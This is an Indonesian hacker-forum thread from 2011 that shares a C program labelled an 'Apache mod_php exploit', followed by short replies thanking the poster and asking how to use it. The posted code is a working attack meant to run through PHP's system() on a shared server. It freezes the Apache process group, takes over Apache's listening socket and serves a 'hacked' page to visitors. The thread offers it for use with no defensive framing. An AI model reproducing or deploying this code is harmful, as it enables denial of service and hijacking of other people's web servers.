|
| phpexploit for aphace | |
| | Pengirim | Message |
---|
Voldemort BC Security
Jumlah posting : 331 Points : 725 Reputation : 16 Join date : 04.07.11
| Subyek: phpexploit for aphace Tue Jul 05, 2011 3:01 am | |
| - Quote :
- /*******************************************************/
/* */ /* Apache's mod_php exploit */ /* Stops all Apache processes (except root), and */ /* listens to Apache's port */ /* */ /* Execute this via system() function of PHP */ /* */ /* Tested on: */ /* apache: 2.2.3 */ /* php: 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0RC5 */ /* */ /* Coded by DimmoBorgir, 10/09/06 */ /* [ hackerdom.ru ] */ /* */ /*******************************************************/
#include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <signal.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <netinet/in.h>
char* header = "HTTP/1.1 200 OK\r\nContent-type: text/html\r\n\r\nSorry, the server is unavailable: hacked :)\r\n";
char tmp[1024];
int main() { chdir( "/" ); // do it, because it is recommended for daemons :) signal( SIGCHLD, SIG_IGN ); // do not bother if a child dies kill( getppid(), SIGKILL ); // kill parent (to avoid 'zombies') if ( fork() ) return 0; // daemonize, and parent exit sleep( 1 ); // wait for parent to exit (we don't want him to catch SIGSTOP)
int p = getsid( 0 ); // get current Process Group Id setsid( ); // become session leader kill( -p, SIGSTOP ); // good night, Apache Process Group :) int sock; struct sockaddr_in clientname; for ( sock = 3; sock < getdtablesize(); sock++ ) // find valid socket handle if ( listen (sock, 10) == 0 ) break; while ( 1 ) { int new; unsigned size = sizeof( clientname ); new = accept( sock, (struct sockaddr *) &clientname, &size); if (new < 0) return 1; if ( fork() == 0 ) // child will handle this connection, parent will listen for new connection {
write( new, header, strlen(header) ); sprintf( tmp, "<br>You are %s : %hd\n", inet_ntoa( clientname.sin_addr ),ntohs( clientname.sin_port )); write( new, tmp, strlen(tmp)+1 ); shutdown( new, 2 ); close( new ); return 0; } } } | |
| | | zer03s Administrator
Jumlah posting : 2471 Points : 4119 Reputation : 113 Join date : 13.12.10 Age : 32 Lokasi : /home/root/blackc0de
| Subyek: Re: phpexploit for aphace Tue Jul 12, 2011 12:56 am | |
| wew agak ribet jug exploitnya tp thanks om udh mw share disini | |
| | | BumiayuKita Administrator
Jumlah posting : 2456 Points : 3020 Reputation : 85 Join date : 06.02.11 Age : 34 Lokasi : bumiayu
| Subyek: Re: phpexploit for aphace Tue Jul 12, 2011 10:29 am | |
| ijin nyimak aja gan | |
| | | arcticgale NuuBiiTooL
Jumlah posting : 2 Points : 2 Reputation : 0 Join date : 31.07.11
| Subyek: Re: phpexploit for aphace Thu Aug 04, 2011 3:37 pm | |
| Wow... ini kalo ngga salah make bahasa C++ y? kalo salah | |
| | | iroel Top Nubie
Jumlah posting : 31 Points : 39 Reputation : 0 Join date : 08.07.11
| Subyek: Re: phpexploit for aphace Thu Aug 11, 2011 8:27 pm | |
| Cara makenya gmano pak?? nubitools..,.,.,.,.,thanks berat pak.,. | |
| | | Sponsored content
| Subyek: Re: phpexploit for aphace | |
| |
| | | | phpexploit for aphace | |
|
| Permissions in this forum: | Anda tidak dapat menjawab topik
| |
| |
| Latest topics | » Baktrack TutorialSun Jul 28, 2019 2:26 am by kenta » aplikasi gambas pada linuxTue Apr 30, 2019 10:28 am by kenta » beli linux ubuntu terbaru di surabayaSun Mar 31, 2019 10:08 am by kenta » desain robotFri Jan 19, 2018 1:25 pm by kenta » membuat robot tidak susahFri Jan 19, 2018 1:15 pm by kenta » Salam.. Salam.. Salam..Thu Nov 30, 2017 7:42 am by BumiayuKita» teknologi penyaring udara dan airWed Oct 04, 2017 8:41 am by kenta » [CloudMILD] VPS SSD IIX 2X RAM + Xtra SSD SpaceMon Jul 24, 2017 10:46 am by BumiayuKita» cara menutup akses dari situs negatifTue Apr 04, 2017 1:04 pm by kenta » Aplikasi Google TalkMon Mar 20, 2017 3:00 am by BumiayuKita» Driver buat Webcam PC ?? merknya M-Tech,, Fri Jan 30, 2015 8:51 pm by aelgrim » Portal Blog,,,,,Sun Dec 14, 2014 12:38 am by robofics» Appteknodroid - Seputar Dunia AndroidMon Nov 10, 2014 11:32 pm by Pr0phecy » Software animasi yang agan2 pakeTue Sep 30, 2014 1:11 pm by X_campus » INDO BILLING 6.70 + KEYSun Sep 21, 2014 2:17 pm by abdul halim |
Statistics | Total 12294 user terdaftar User terdaftar terakhir adalah Adlygans
Total 31710 kiriman artikel dari user in 5734 subjects
|
Banner Forum | Dukung forum Blackc0de dengan memasang bannernya.
|
Social Networking |
|
|